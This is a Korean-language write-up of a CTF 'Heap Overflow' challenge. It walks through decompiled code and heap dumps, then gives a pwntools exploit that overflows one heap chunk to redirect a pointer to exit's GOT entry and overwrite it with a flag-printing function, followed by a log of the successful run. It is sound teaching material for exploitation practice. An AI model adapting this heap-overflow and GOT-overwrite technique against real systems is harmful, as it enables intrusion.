Heap Overflow

```
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  void *v3; // [rsp+10h] [rbp-1020h]
  void *v4; // [rsp+18h] [rbp-1018h]
  char input[4104]; // [rsp+20h] [rbp-1010h] BYREF
  unsigned __int64 v6; // [rsp+1028h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v3 = malloc(0x10uLL);
  *v3 = 1;
  *(v3 + 1) = malloc(8uLL);
  v4 = malloc(0x10uLL);
  *v4 = 2;
  *(v4 + 1) = malloc(8uLL);
  fgets(input, 4096, stdin);
  strcpy(*(v3 + 1), input);
  fgets(input, 4096, stdin);
  strcpy(*(v4 + 1), input);
  exit(0);
}

void __noreturn sub_400826()
{
  char *lineptr; // [rsp+0h] [rbp-20h] BYREF
  size_t n; // [rsp+8h] [rbp-18h] BYREF
  FILE *stream; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  lineptr = 0LL;
  n = 0LL;
  stream = fopen("flag", "r");
  getline(&lineptr, &n, stream);
  puts(lineptr);
  fflush(stdout);
  free(lineptr);
  _exit(1);
}
```

NX가 적용된 x64 바이너리이다. `sub_400826()`를 호출하는 것이 목표다.

Debugging

```
v3 = malloc(0x10uLL);
*v3 = 1;
*(v3 + 1) = malloc(8uLL);

0x602290: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022a0: 0x0000000000000001 0x00000000006022c0 | .........".`..... |

0x6022b0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022c0: 0x0000000000000000 0x0000000000000000 | ................ |

0x6022d0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022e0: 0x0000000000000002 0x0000000000000000 | ................ |
0x6022f0: 0x0000000000000000 0x0000000000020d11 | ................ |  <-  top
0x602300: 0x0000000000000000 0x0000000000000000 | ................ |
* 8399 lines, 0x20cf0 bytes
```

위에서 아래로 `v3[0]`, `v3[1]`에 저장된 `0x10`, `0x8` 크기의 힙이다.
`v3[0]`의 경우 1이 들어있는 것을 볼 수 있고, `v3[1]`에는 `malloc(8)` 공간의 포인터가 들어있다. (`0x6022c0`)

```
v3 = malloc(0x10uLL);
*v3 = 1;
*(v3 + 1) = malloc(8uLL);
v4 = malloc(0x10uLL);
*v4 = 2;
*(v4 + 1) = malloc(8uLL);

0x602290: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022a0: 0x0000000000000001 0x00000000006022c0 | .........`"..... |

0x6022d0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022e0: 0x0000000000000002 0x0000000000000000 | ................ |

0x6022f0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x602300: 0x0000000000000000 0x0000000000000000 | ................ |
u
0x602310: 0x0000000000000000 0x0000000000020cf1 | ................ |  <-  top
0x602320: 0x0000000000000000 0x0000000000000000 | ................ |
* 8397 lines, 0x20cd0 bytes
```

`v4[0]`, `v4[1]`까지 `malloc()`한 후의 힙의 모습이다.

```
fgets(input, 4096, stdin);
strcpy(*(v3 + 1), input);
fgets(input, 4096, stdin);
strcpy(*(v4 + 1), input);

0x602290: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022a0: 0x0000000000000001 0x00000000006022c0 | .........`"..... |

0x6022b0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022c0: 0x4141414141414141 0x000000000000000a | AAAAAAAA........ |

0x6022d0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x6022e0: 0x0000000000000002 0x0000000000602300 | .........#`..... |

0x6022f0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x602300: 0x4242424242424242 0x000000000000000a | BBBBBBBB........ |

0x602310: 0x0000000000000000 0x0000000000000411 | ................ |
0x602320: 0x4242424242424242 0x000000000000000a | BBBBBBBB........ |
0x602330: 0x0000000000000000 0x0000000000000000 | ................ |
* 62 lines, 0x3e0 bytes
0x602720: 0x0000000000000000 0x00000000000208e1 | ................ |  <-  top
0x602730: 0x0000000000000000 0x0000000000000000 | ................ |
```

차례로 `AAAAAAAA`, `BBBBBBBB`를 입력한 후 힙의 모습은 위와 같다.

힙들 사이의 거리보다 입력 제한이 크기 때문에 `*(v3 + 1)` **주소에 BOF를 발생시켜** `*(v4 + 1)`**를 덮어쓰는 것이 가능**하다.
다음으로는 `strcpy(*(v4 + 1), input);`와 같이 입력을 복사하므로 원하는 주소에 원하는 값을 쓸 수 있게 된다.

Exploit

```
from pwn import *

p = remote('realsung.kr', 8283)
# p = process('./heap_overflow')
e = ELF('./heap_overflow')

context.log_level = 'debug'

# 1. overwrite v4
pay1 = b"A" * (8 * 5)
pay1 += p64(e.got.exit)
p.sendline(pay1)

# 2. GOT Overwrite
pay2 = p64(0x400826)
```

```
p.sendline(pay2)

p.interactive()
```

`exit()`의 GOT를 원하는 함수 주소로 덮기만 하면 된다.

```
  v3 = malloc(0x10uLL);
  *v3 = 1;
  *(v3 + 1) = malloc(8uLL);
  v4 = malloc(0x10uLL);
  *v4 = 2;
  *(v4 + 1) = malloc(8uLL);
```

x64에서 힙의 최소 크기는 16이다. 따라서 먼저 `*(v3 + 1)`**의 mem 부분을 전부 덮으려면 16바이트가 필요**하다.
다음으로는 마찬가지로 헤더 포함 **0x20 바이트인** `v4`가 있을 것이다. `v4`**의 8바이트부터 덮어써야 하는 주소이므로 32 - 8 = 24바이트**를 덮어써야 한다.
따라서 **16 + 24 = 40바이트를 더미값으로 덮어쓰는 것**이다.

계산할 필요 없이 디버깅할 때 힙을 직접 보고 계산하는 것이 빠르긴 하다.

```
root@555fee4f7a08:/pwn# python3 hbof.py
[+] Opening connection to realsung.kr on port 8283: Done
[*] '/pwn/heap_overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
0x400710
0x601068
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000020  41 41 41 41  41 41 41 41  68 10 60 00  00 00 00 00  |AAAA|AAAA|h·\`·|····|
    00000030  0a                                                  |·|
    00000031
[DEBUG] Sent 0x9 bytes:
    00000000  26 08 40 00  00 00 00 00  0a                       |&·@·|····|·|
    00000009
[*] Switching to interactive mode
[DEBUG] Received 0x2a bytes:
    b'flag{0O0o0o0o0oOOOOOVerfloooo0o0o0o0w:)}\n'
    b'\n'
flag{0O0o0o0o0oOOOOOVerfloooo0o0o0o0w:)}
```